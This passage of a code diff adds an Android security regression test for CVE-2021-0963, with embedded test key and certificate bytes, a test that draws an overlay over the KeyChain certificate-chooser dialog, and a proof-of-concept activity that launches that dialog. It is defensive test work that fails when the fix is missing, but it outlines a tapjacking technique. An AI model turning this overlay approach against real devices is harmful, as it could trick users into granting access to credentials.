+                    (byte) 0x84, (byte) 0x44, (byte) 0x4a, (byte) 0xa7, (byte) 0x25, (byte) 0x50,
+                    (byte) 0x89, (byte) 0x63, (byte) 0x43, (byte) 0x0b, (byte) 0xc8, (byte) 0xd5,
+                    (byte) 0x17, (byte) 0x9d, (byte) 0x8b, (byte) 0x62, (byte) 0xd5, (byte) 0xf1,
+                    (byte) 0xde, (byte) 0x45, (byte) 0xe6, (byte) 0x35, (byte) 0x10, (byte) 0xba,
+                    (byte) 0x58, (byte) 0x18, (byte) 0x44, (byte) 0xc1, (byte) 0x6d, (byte) 0xb6,
+                    (byte) 0x1d, (byte) 0x2f, (byte) 0x53, (byte) 0xb6, (byte) 0x5a, (byte) 0xf1,
+                    (byte) 0x66, (byte) 0xbc, (byte) 0x0e, (byte) 0x63, (byte) 0xa7, (byte) 0x0f,
+                    (byte) 0x81, (byte) 0x4b, (byte) 0x07, (byte) 0x31, (byte) 0xa5, (byte) 0x70,
+                    (byte) 0xec, (byte) 0x30, (byte) 0x57, (byte) 0xc4, (byte) 0x14, (byte) 0xb2,
+                    (byte) 0x8b, (byte) 0x6f, (byte) 0x26, (byte) 0x7e, (byte) 0x55, (byte) 0x60,
+                    (byte) 0x63, (byte) 0x7d, (byte) 0x90, (byte) 0xd7, (byte) 0x5f, (byte) 0xef,
+                    (byte) 0x7d, (byte) 0xc1, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xfe,
+                    (byte) 0x92, (byte) 0xa9, (byte) 0xf1, (byte) 0x29, (byte) 0x1e, (byte) 0xd4,
+                    (byte) 0x72, (byte) 0xd3, (byte) 0x3f, (byte) 0x9d, (byte) 0xd6, (byte) 0x3d,
+                    (byte) 0xe9, (byte) 0xcf, (byte) 0x3e, (byte) 0x06, (byte) 0xdc, (byte) 0x65,
+                    (byte) 0x8f, (byte) 0xc0, (byte) 0x81, (byte) 0xc2, (byte) 0x66, (byte) 0xc1,
+                    (byte) 0x5c, (byte) 0x2c, (byte) 0xfa, (byte) 0x08, (byte) 0x65, (byte) 0xb6,
+                    (byte) 0x47, (byte) 0xc5, (byte) 0x14, (byte) 0x8d, (byte) 0x69, (byte) 0xe9,
+                    (byte) 0xaf, (byte) 0x42, (byte) 0x02, (byte) 0x53, (byte) 0x04, (byte) 0x63,
+                    (byte) 0x47, (byte) 0xaf, (byte) 0xcc, (byte) 0xae, (byte) 0x08, (byte) 0x31,
+                    (byte) 0xba, (byte) 0xea, (byte) 0x85, (byte) 0xda, (byte) 0xd6, (byte) 0xb2,
+                    (byte) 0xe7, (byte) 0x4c, (byte) 0xda, (byte) 0xad, (byte) 0x52, (byte) 0x76,
+                    (byte) 0x48, (byte) 0x16, (byte) 0xeb, (byte) 0x02, (byte) 0x41, (byte) 0x00,
+                    (byte) 0xef, (byte) 0xc4, (byte) 0x7d, (byte) 0x69, (byte) 0x7b, (byte) 0xcb,
+                    (byte) 0xcb, (byte) 0xf7, (byte) 0x00, (byte) 0x2d, (byte) 0x05, (byte) 0x3c,
+                    (byte) 0xe4, (byte) 0xfd, (byte) 0x5c, (byte) 0xea, (byte) 0xcf, (byte) 0x40,
+                    (byte) 0x84, (byte) 0x10, (byte) 0xf1, (byte) 0xc0, (byte) 0xaf, (byte) 0xc7,
+                    (byte) 0xc8, (byte) 0x51, (byte) 0xac, (byte) 0x18, (byte) 0x25, (byte) 0x63,
+                    (byte) 0x75, (byte) 0xc7, (byte) 0x0e, (byte) 0xa9, (byte) 0xed, (byte) 0x9c,
+                    (byte) 0x78, (byte) 0x08, (byte) 0x28, (byte) 0x1d, (byte) 0x9e, (byte) 0xfa,
+                    (byte) 0x17, (byte) 0x0f, (byte) 0x7a, (byte) 0x6a, (byte) 0x78, (byte) 0x63,
+                    (byte) 0x6e, (byte) 0xb3, (byte) 0x6b, (byte) 0xd6, (byte) 0x43, (byte) 0x4b,
+                    (byte) 0x58, (byte) 0xb8, (byte) 0x77, (byte) 0x10, (byte) 0x07, (byte) 0x70,
+                    (byte) 0xa6, (byte) 0xa9, (byte) 0xae, (byte) 0x0d, (byte) 0x02, (byte) 0x41,
+                    (byte) 0x00, (byte) 0x92, (byte) 0x4c, (byte) 0x79, (byte) 0x0b, (byte) 0x95,
+                    (byte) 0xc5, (byte) 0x18, (byte) 0xf4, (byte) 0x90, (byte) 0x40, (byte) 0x8c,
+                    (byte) 0x15, (byte) 0x96, (byte) 0x69, (byte) 0x2a, (byte) 0xe7, (byte) 0x8b,
+                    (byte) 0x8b, (byte) 0xd7, (byte) 0x76, (byte) 0x00, (byte) 0x7c, (byte) 0xd1,
+                    (byte) 0xda, (byte) 0xb9, (byte) 0x9e, (byte) 0x9e, (byte) 0x5e, (byte) 0x66,
+                    (byte) 0xbb, (byte) 0x05, (byte) 0x41, (byte) 0x43, (byte) 0x9a, (byte) 0x67,
+                    (byte) 0x16, (byte) 0x89, (byte) 0xec, (byte) 0x65, (byte) 0x33, (byte) 0xee,
+                    (byte) 0xbf, (byte) 0xa3, (byte) 0xca, (byte) 0x8b, (byte) 0xd6, (byte) 0x45,
+                    (byte) 0xe1, (byte) 0x81, (byte) 0xaa, (byte) 0xd8, (byte) 0xa2, (byte) 0x6a,
+                    (byte) 0x3c, (byte) 0x5e, (byte) 0x7e, (byte) 0x1c, (byte) 0xa5, (byte) 0xc3,
+                    (byte) 0x5b, (byte) 0x93, (byte) 0x8c, (byte) 0x24, (byte) 0x57, (byte) 0x02,
+                    (byte) 0x40, (byte) 0x0a, (byte) 0x6d, (byte) 0x3f, (byte) 0x0e, (byte) 0xf1,
+                    (byte) 0x45, (byte) 0x41, (byte) 0x8f, (byte) 0x72, (byte) 0x40, (byte) 0x82,
+                    (byte) 0xf3, (byte) 0xcc, (byte) 0xf9, (byte) 0x7f, (byte) 0xaa, (byte) 0xee,
+                    (byte) 0x6c, (byte) 0x5d, (byte) 0xd1, (byte) 0xe6, (byte) 0xd1, (byte) 0x7c,
+                    (byte) 0x53, (byte) 0x71, (byte) 0xd0, (byte) 0xab, (byte) 0x6d, (byte) 0x39,
+                    (byte) 0x63, (byte) 0x03, (byte) 0xe2, (byte) 0x2e, (byte) 0x2f, (byte) 0x11,
+                    (byte) 0x98, (byte) 0x36, (byte) 0x58, (byte) 0x14, (byte) 0x76, (byte) 0x85,
+                    (byte) 0x4d, (byte) 0x56, (byte) 0xe7, (byte) 0x63, (byte) 0x69, (byte) 0x71,
+                    (byte) 0xe6, (byte) 0xd1, (byte) 0x0f, (byte) 0x98, (byte) 0x66, (byte) 0xee,
+                    (byte) 0xf2, (byte) 0x3d, (byte) 0xdf, (byte) 0x77, (byte) 0xbe, (byte) 0x08,
+                    (byte) 0xb4, (byte) 0xcb, (byte) 0x6a, (byte) 0xa1, (byte) 0x99, (byte) 0x02,
+                    (byte) 0x40, (byte) 0x52, (byte) 0x01, (byte) 0xde, (byte) 0x62, (byte) 0xc2,
+                    (byte) 0x25, (byte) 0xbf, (byte) 0x5d, (byte) 0x77, (byte) 0xe4, (byte) 0x6b,
+                    (byte) 0xb6, (byte) 0xd7, (byte) 0x8f, (byte) 0x89, (byte) 0x2c, (byte) 0xe6,
+                    (byte) 0x8d, (byte) 0xe5, (byte) 0xad, (byte) 0x39, (byte) 0x17, (byte) 0x54,
+                    (byte) 0x2b, (byte) 0x35, (byte) 0x53, (byte) 0xd1, (byte) 0xa1, (byte) 0xef,
+                    (byte) 0x48, (byte) 0xbc, (byte) 0x95, (byte) 0x48, (byte) 0xcf, (byte) 0x62,
+                    (byte) 0xf4, (byte) 0x33, (byte) 0xcf, (byte) 0x37, (byte) 0x78, (byte) 0xeb,
+                    (byte) 0x17, (byte) 0xb4, (byte) 0x0b, (byte) 0x83, (byte) 0x4f, (byte) 0xb6,
+                    (byte) 0xab, (byte) 0x7d, (byte) 0x67, (byte) 0x3e, (byte) 0x4e, (byte) 0x44,
+                    (byte) 0x4a, (byte) 0x55, (byte) 0x2e, (byte) 0x34, (byte) 0x12, (byte) 0x0b,
+                    (byte) 0x59, (byte) 0xb3, (byte) 0xb1, (byte) 0x1e, (byte) 0x3d};
+
+
+    /**
+     * Generated from above and converted with:
+     *
+     * openssl x509 -outform d -in usercert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
+     */
+    private static final byte[] USER_CERT =
+            {(byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0xd8, (byte) 0x30, (byte) 0x82,
+                    (byte) 0x01, (byte) 0xc0, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
+                    (byte) 0x02, (byte) 0x02, (byte) 0x01, (byte) 0x01, (byte) 0x30, (byte) 0x0d,
+                    (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86,
+                    (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x0b, (byte) 0x05,
+                    (byte) 0x00, (byte) 0x30, (byte) 0x33, (byte) 0x31, (byte) 0x0b, (byte) 0x30,
+                    (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06,
+                    (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55, (byte) 0x31, (byte) 0x13,
+                    (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+                    (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53, (byte) 0x6f, (byte) 0x6d,
+                    (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74, (byte) 0x61, (byte) 0x74,
+                    (byte) 0x65, (byte) 0x31, (byte) 0x0f, (byte) 0x30, (byte) 0x0d, (byte) 0x06,
+                    (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x06,
+                    (byte) 0x47, (byte) 0x6f, (byte) 0x6f, (byte) 0x67, (byte) 0x6c, (byte) 0x65,
+                    (byte) 0x30, (byte) 0x1e, (byte) 0x17, (byte) 0x0d, (byte) 0x32, (byte) 0x32,
+                    (byte) 0x30, (byte) 0x33, (byte) 0x32, (byte) 0x35, (byte) 0x30, (byte) 0x37,
+                    (byte) 0x32, (byte) 0x30, (byte) 0x31, (byte) 0x32, (byte) 0x5a, (byte) 0x17,
+                    (byte) 0x0d, (byte) 0x33, (byte) 0x32, (byte) 0x30, (byte) 0x33, (byte) 0x32,
+                    (byte) 0x32, (byte) 0x30, (byte) 0x37, (byte) 0x32, (byte) 0x30, (byte) 0x31,
+                    (byte) 0x32, (byte) 0x5a, (byte) 0x30, (byte) 0x33, (byte) 0x31, (byte) 0x0b,
+                    (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+                    (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55, (byte) 0x31,
+                    (byte) 0x13, (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+                    (byte) 0x04, (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53, (byte) 0x6f,
+                    (byte) 0x6d, (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74, (byte) 0x61,
+                    (byte) 0x74, (byte) 0x65, (byte) 0x31, (byte) 0x0f, (byte) 0x30, (byte) 0x0d,
+                    (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x0c,
+                    (byte) 0x06, (byte) 0x47, (byte) 0x6f, (byte) 0x6f, (byte) 0x67, (byte) 0x6c,
+                    (byte) 0x65, (byte) 0x30, (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d,
+                    (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86,
+                    (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05,
+                    (byte) 0x00, (byte) 0x03, (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30,
+                    (byte) 0x81, (byte) 0x89, (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00,
+                    (byte) 0xee, (byte) 0x6e, (byte) 0x51, (byte) 0xa8, (byte) 0xc4, (byte) 0x44,
+                    (byte) 0xd9, (byte) 0xb7, (byte) 0x53, (byte) 0xf1, (byte) 0xb9, (byte) 0x1b,
+                    (byte) 0x9d, (byte) 0x8d, (byte) 0x7c, (byte) 0x9f, (byte) 0x06, (byte) 0xe7,
+                    (byte) 0xed, (byte) 0xa8, (byte) 0x05, (byte) 0xb8, (byte) 0xaa, (byte) 0x0a,
+                    (byte) 0x2d, (byte) 0x74, (byte) 0x05, (byte) 0x8b, (byte) 0xad, (byte) 0xfe,
+                    (byte) 0xd3, (byte) 0x3e, (byte) 0x08, (byte) 0x9d, (byte) 0xc9, (byte) 0xf5,
+                    (byte) 0xf7, (byte) 0x81, (byte) 0x90, (byte) 0xf1, (byte) 0xcc, (byte) 0x3f,
+                    (byte) 0x91, (byte) 0xda, (byte) 0xcb, (byte) 0x67, (byte) 0x6a, (byte) 0xe8,
+                    (byte) 0x4a, (byte) 0xa0, (byte) 0xc3, (byte) 0x8a, (byte) 0x53, (byte) 0xd9,
+                    (byte) 0xf0, (byte) 0x17, (byte) 0xbe, (byte) 0x90, (byte) 0xbb, (byte) 0x95,
+                    (byte) 0x29, (byte) 0x01, (byte) 0xce, (byte) 0x32, (byte) 0xce, (byte) 0xf8,
+                    (byte) 0x02, (byte) 0xfe, (byte) 0xe8, (byte) 0x19, (byte) 0x91, (byte) 0x29,
+                    (byte) 0x46, (byte) 0xf7, (byte) 0x67, (byte) 0xd1, (byte) 0xcb, (byte) 0xa7,
+                    (byte) 0x20, (byte) 0x8b, (byte) 0x85, (byte) 0x8a, (byte) 0x0c, (byte) 0x07,
+                    (byte) 0xf8, (byte) 0xfe, (byte) 0xf4, (byte) 0x5d, (byte) 0x08, (byte) 0xf4,
+                    (byte) 0x63, (byte) 0x4a, (byte) 0x69, (byte) 0x66, (byte) 0x28, (byte) 0xcb,
+                    (byte) 0x0d, (byte) 0x1c, (byte) 0x7f, (byte) 0x7f, (byte) 0x7e, (byte) 0x83,
+                    (byte) 0x49, (byte) 0x66, (byte) 0x6c, (byte) 0x83, (byte) 0x2d, (byte) 0xa0,
+                    (byte) 0x51, (byte) 0xf6, (byte) 0x14, (byte) 0x68, (byte) 0x47, (byte) 0x31,
+                    (byte) 0x72, (byte) 0x4d, (byte) 0xe9, (byte) 0x1e, (byte) 0x12, (byte) 0x1b,
+                    (byte) 0xd0, (byte) 0xe6, (byte) 0x21, (byte) 0xd8, (byte) 0x84, (byte) 0x5f,
+                    (byte) 0xe3, (byte) 0xef, (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00,
+                    (byte) 0x01, (byte) 0xa3, (byte) 0x7b, (byte) 0x30, (byte) 0x79, (byte) 0x30,
+                    (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x13,
+                    (byte) 0x04, (byte) 0x02, (byte) 0x30, (byte) 0x00, (byte) 0x30, (byte) 0x2c,
+                    (byte) 0x06, (byte) 0x09, (byte) 0x60, (byte) 0x86, (byte) 0x48, (byte) 0x01,
+                    (byte) 0x86, (byte) 0xf8, (byte) 0x42, (byte) 0x01, (byte) 0x0d, (byte) 0x04,
+                    (byte) 0x1f, (byte) 0x16, (byte) 0x1d, (byte) 0x4f, (byte) 0x70, (byte) 0x65,
+                    (byte) 0x6e, (byte) 0x53, (byte) 0x53, (byte) 0x4c, (byte) 0x20, (byte) 0x47,
+                    (byte) 0x65, (byte) 0x6e, (byte) 0x65, (byte) 0x72, (byte) 0x61, (byte) 0x74,
+                    (byte) 0x65, (byte) 0x64, (byte) 0x20, (byte) 0x43, (byte) 0x65, (byte) 0x72,
+                    (byte) 0x74, (byte) 0x69, (byte) 0x66, (byte) 0x69, (byte) 0x63, (byte) 0x61,
+                    (byte) 0x74, (byte) 0x65, (byte) 0x30, (byte) 0x1d, (byte) 0x06, (byte) 0x03,
+                    (byte) 0x55, (byte) 0x1d, (byte) 0x0e, (byte) 0x04, (byte) 0x16, (byte) 0x04,
+                    (byte) 0x14, (byte) 0xee, (byte) 0xec, (byte) 0x08, (byte) 0xcc, (byte) 0xdd,
+                    (byte) 0xa3, (byte) 0x29, (byte) 0x6e, (byte) 0x2b, (byte) 0x78, (byte) 0x23,
+                    (byte) 0xb3, (byte) 0xf0, (byte) 0xb8, (byte) 0x9d, (byte) 0x53, (byte) 0x41,
+                    (byte) 0x2e, (byte) 0x3c, (byte) 0x61, (byte) 0x30, (byte) 0x1f, (byte) 0x06,
+                    (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x23, (byte) 0x04, (byte) 0x18,
+                    (byte) 0x30, (byte) 0x16, (byte) 0x80, (byte) 0x14, (byte) 0x86, (byte) 0xdb,
+                    (byte) 0xa5, (byte) 0x5e, (byte) 0x0e, (byte) 0x03, (byte) 0xbc, (byte) 0xe4,
+                    (byte) 0xc1, (byte) 0xc8, (byte) 0xf3, (byte) 0xed, (byte) 0x24, (byte) 0x48,
+                    (byte) 0xb1, (byte) 0x37, (byte) 0x3a, (byte) 0x52, (byte) 0x10, (byte) 0x57,
+                    (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
+                    (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
+                    (byte) 0x0b, (byte) 0x05, (byte) 0x00, (byte) 0x03, (byte) 0x82, (byte) 0x01,
+                    (byte) 0x01, (byte) 0x00, (byte) 0x15, (byte) 0x5a, (byte) 0x5c, (byte) 0x08,
+                    (byte) 0xe4, (byte) 0x0e, (byte) 0x28, (byte) 0x4c, (byte) 0xa9, (byte) 0x0e,
+                    (byte) 0x35, (byte) 0xbe, (byte) 0xe3, (byte) 0xd5, (byte) 0xd1, (byte) 0xb4,
+                    (byte) 0x47, (byte) 0x87, (byte) 0x63, (byte) 0xd2, (byte) 0x5e, (byte) 0x7e,
+                    (byte) 0xf6, (byte) 0xd8, (byte) 0xce, (byte) 0xdf, (byte) 0x10, (byte) 0x15,
+                    (byte) 0x61, (byte) 0xc4, (byte) 0x9a, (byte) 0xf1, (byte) 0xba, (byte) 0x33,
+                    (byte) 0xf2, (byte) 0xc2, (byte) 0x01, (byte) 0x95, (byte) 0xa7, (byte) 0x74,
+                    (byte) 0x97, (byte) 0xc1, (byte) 0x43, (byte) 0x68, (byte) 0x92, (byte) 0xbe,
+                    (byte) 0x9a, (byte) 0x6f, (byte) 0x38, (byte) 0xcb, (byte) 0xa0, (byte) 0xcf,
+                    (byte) 0x1e, (byte) 0x5b, (byte) 0x03, (byte) 0xde, (byte) 0x45, (byte) 0x6d,
+                    (byte) 0xea, (byte) 0xf0, (byte) 0x46, (byte) 0x4d, (byte) 0xb6, (byte) 0x4b,
+                    (byte) 0x88, (byte) 0xc7, (byte) 0xb8, (byte) 0xe3, (byte) 0x9f, (byte) 0x58,
+                    (byte) 0x8b, (byte) 0x2d, (byte) 0xbf, (byte) 0x4b, (byte) 0x3f, (byte) 0x54,
+                    (byte) 0x2d, (byte) 0xa8, (byte) 0x27, (byte) 0x72, (byte) 0x5e, (byte) 0x36,
+                    (byte) 0x67, (byte) 0x5c, (byte) 0x6e, (byte) 0x9a, (byte) 0x67, (byte) 0x73,
+                    (byte) 0x44, (byte) 0xaf, (byte) 0x46, (byte) 0x7f, (byte) 0xd6, (byte) 0x2b,
+                    (byte) 0x9d, (byte) 0x28, (byte) 0xb1, (byte) 0xc4, (byte) 0xc4, (byte) 0x72,
+                    (byte) 0x3d, (byte) 0x6d, (byte) 0x7d, (byte) 0x28, (byte) 0x40, (byte) 0x62,
+                    (byte) 0x40, (byte) 0x21, (byte) 0x52, (byte) 0xb5, (byte) 0x0b, (byte) 0xf3,
+                    (byte) 0xcc, (byte) 0x36, (byte) 0x03, (byte) 0x10, (byte) 0x19, (byte) 0xe3,
+                    (byte) 0xc2, (byte) 0xfe, (byte) 0xe9, (byte) 0x08, (byte) 0x0d, (byte) 0xd4,
+                    (byte) 0x8b, (byte) 0x12, (byte) 0xd6, (byte) 0x3d, (byte) 0xc5, (byte) 0xb8,
+                    (byte) 0x8c, (byte) 0xbd, (byte) 0xa5, (byte) 0xcd, (byte) 0xb3, (byte) 0xe4,
+                    (byte) 0xd1, (byte) 0xd8, (byte) 0x4c, (byte) 0x32, (byte) 0x44, (byte) 0x3f,
+                    (byte) 0x63, (byte) 0x32, (byte) 0x09, (byte) 0xdb, (byte) 0x8b, (byte) 0x7b,
+                    (byte) 0x30, (byte) 0x58, (byte) 0xc7, (byte) 0xcf, (byte) 0xc3, (byte) 0x44,
+                    (byte) 0xd9, (byte) 0xff, (byte) 0x63, (byte) 0x91, (byte) 0x74, (byte) 0xd8,
+                    (byte) 0x62, (byte) 0x2b, (byte) 0x52, (byte) 0xc8, (byte) 0x82, (byte) 0x9f,
+                    (byte) 0xeb, (byte) 0x22, (byte) 0x5c, (byte) 0xa2, (byte) 0x26, (byte) 0xfe,
+                    (byte) 0x04, (byte) 0x31, (byte) 0x53, (byte) 0x09, (byte) 0xa7, (byte) 0x23,
+                    (byte) 0xe3, (byte) 0x0f, (byte) 0xf8, (byte) 0xe9, (byte) 0x99, (byte) 0xad,
+                    (byte) 0x4b, (byte) 0x23, (byte) 0x07, (byte) 0xfb, (byte) 0xfa, (byte) 0xc3,
+                    (byte) 0x55, (byte) 0x59, (byte) 0xdb, (byte) 0x6b, (byte) 0x71, (byte) 0xdf,
+                    (byte) 0x25, (byte) 0x0f, (byte) 0xaa, (byte) 0xa2, (byte) 0xfa, (byte) 0x28,
+                    (byte) 0x49, (byte) 0x65, (byte) 0x7e, (byte) 0x0b, (byte) 0x74, (byte) 0x30,
+                    (byte) 0xd9, (byte) 0x9a, (byte) 0xfe, (byte) 0x2c, (byte) 0x8c, (byte) 0x67,
+                    (byte) 0x50, (byte) 0x0c, (byte) 0x6d, (byte) 0x4c, (byte) 0xba, (byte) 0x34,
+                    (byte) 0x3b, (byte) 0x0d, (byte) 0x16, (byte) 0x45, (byte) 0x63, (byte) 0x73,
+                    (byte) 0xc2, (byte) 0x9f, (byte) 0xb4, (byte) 0xdd, (byte) 0x6f, (byte) 0xde,
+                    (byte) 0x9d, (byte) 0x71, (byte) 0xbf, (byte) 0x8d, (byte) 0x1b, (byte) 0x79,
+                    (byte) 0xa0, (byte) 0x0a, (byte) 0x66, (byte) 0x7e, (byte) 0x56, (byte) 0x83,
+                    (byte) 0x8f, (byte) 0x3f, (byte) 0x7d, (byte) 0x93, (byte) 0xf6, (byte) 0xc9,
+                    (byte) 0x42, (byte) 0xfc, (byte) 0xc5, (byte) 0xf2, (byte) 0x49, (byte) 0xec};
+
+    @After
+    public void tearDown() {
+        try {
+            mDevicePolicyManager.removeKeyPair(mComponentName, mContext.getString(R.string.alias));
+            mDevicePolicyManager.clearDeviceOwnerApp(mContext.getPackageName());
+        } catch (Exception e) {
+            // ignore all exceptions as the test is already complete
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        try {
+            /* Install key pair required to launch KeyChainActivity dialog */
+            mContext = getInstrumentation().getContext();
+            Resources resources = mContext.getResources();
+            KeyFactory kf = KeyFactory.getInstance(mContext.getString(R.string.keyType));
+            PrivateKey privKey = kf.generatePrivate(new PKCS8EncodedKeySpec(PRIVATE_KEY));
+            CertificateFactory cf =
+                    CertificateFactory.getInstance(mContext.getString(R.string.certType));
+            Certificate cert = cf.generateCertificate(new ByteArrayInputStream(USER_CERT));
+            mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+            mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+                    PocDeviceAdminReceiver.class.getName());
+            assumeTrue(mDevicePolicyManager.installKeyPair(mComponentName, privKey, cert,
+                    mContext.getString(R.string.alias)));
+
+            /* Start the overlay service */
+            Intent intent = new Intent(mContext, PocService.class);
+            assumeTrue(mContext.getString(R.string.canNotDrawOverlaysMsg),
+                    Settings.canDrawOverlays(mContext));
+            CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+            RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+                PocStatus pocStatus =
+                        new PocStatus(result.getInt(mContext.getString(R.string.statusKey)),
+                                result.getString(mContext.getString(R.string.messageKey)));
+                callbackReturn.complete(pocStatus);
+            });
+            intent.putExtra(mContext.getString(R.string.callbackKey), cb);
+            mContext.startService(intent);
+            PocStatus result = callbackReturn.get(resources.getInteger(R.integer.timeoutMs),
+                    TimeUnit.MILLISECONDS);
+            assumeTrue(result.getErrorMessage(),
+                    result.getStatusCode() != resources.getInteger(R.integer.assumptionFailure));
+
+            /* Wait for the overlay window */
+            Pattern overlayTextPattern = Pattern.compile(
+                    mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+            UiDevice device = UiDevice.getInstance(getInstrumentation());
+            assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+                    device.wait(Until.hasObject(By.text(overlayTextPattern)),
+                            mContext.getResources().getInteger(R.integer.timeoutMs)));
+
+            /* Start PocActivity which starts the vulnerable activity */
+            intent = new Intent(mContext, PocActivity.class);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            CompletableFuture<PocStatus> pocActivityReturn = new CompletableFuture<>();
+            RemoteCallback pocActivityCb = new RemoteCallback((Bundle pocActivityResult) -> {
+                PocStatus pocStatus = new PocStatus(
+                        pocActivityResult.getInt(mContext.getString(R.string.statusKey)),
+                        pocActivityResult.getString(mContext.getString(R.string.messageKey)));
+                pocActivityReturn.complete(pocStatus);
+            });
+            intent.putExtra(mContext.getString(R.string.callbackKey), pocActivityCb);
+            mContext.startActivity(intent);
+            result = pocActivityReturn.get(resources.getInteger(R.integer.timeoutMs),
+                    TimeUnit.MILLISECONDS);
+            assumeTrue(result.getErrorMessage(),
+                    result.getStatusCode() != resources.getInteger(R.integer.assumptionFailure));
+
+            /* Get the vulnerable activity name by using an alternative intent */
+            Intent vulIntent = new Intent(mContext.getString(R.string.actionKeychainActivity));
+            ResolveInfo ri = mContext.getPackageManager().resolveActivity(vulIntent,
+                    PackageManager.MATCH_DEFAULT_ONLY);
+            String vulnerableActivityName = ri.activityInfo.name;
+
+            /* Wait until the object of launcher activity is gone */
+            boolean overlayDisallowed = device.wait(Until.gone(By.pkg(mContext.getPackageName())),
+                    mContext.getResources().getInteger(R.integer.timeoutMs));
+
+            /* Check if the currently running activity is the vulnerable activity */
+            String activityDump = "";
+            activityDump = device.executeShellCommand(
+                    mContext.getString(R.string.dumpsysActivity, vulnerableActivityName));
+            Pattern activityPattern = Pattern.compile(mContext.getString(R.string.mResumedTrue),
+                    Pattern.CASE_INSENSITIVE);
+            assumeTrue(
+                    mContext.getString(R.string.vulActivityNotRunningError, vulnerableActivityName),
+                    activityPattern.matcher(activityDump).find());
+
+            /* Failing the test as fix is not present */
+            assertTrue(mContext.getString(R.string.errorMessage, vulnerableActivityName),
+                    overlayDisallowed);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java
new file mode 100644
index 0000000..ac8ea15
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.security.KeyChain;
+import android.security.KeyChainAliasCallback;
+
+import androidx.annotation.Nullable;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            KeyChainAliasCallback callback = new KeyChainAliasCallback() {
+                @Override
+                public void alias(@Nullable String alias) {}
+            };
+            KeyChain.choosePrivateKeyAlias(this, callback, null, null, null, -1, null);
+            sendTestResult(getResources().getInteger(R.integer.noException), "");
+        } catch (Exception e) {
+            sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+    }
+
+    void sendTestResult(int status, String message) {
+        try {
+            RemoteCallback cb =
+                    (RemoteCallback) getIntent().getExtras().get(getString(R.string.callbackKey));
+            Bundle res = new Bundle();
+            res.putString(getString(R.string.messageKey), message);
+            res.putInt(getString(R.string.statusKey), status);
+            cb.sendResult(res);
+        } catch (Exception e) {
+            // ignore all exceptions
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
similarity index 79%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
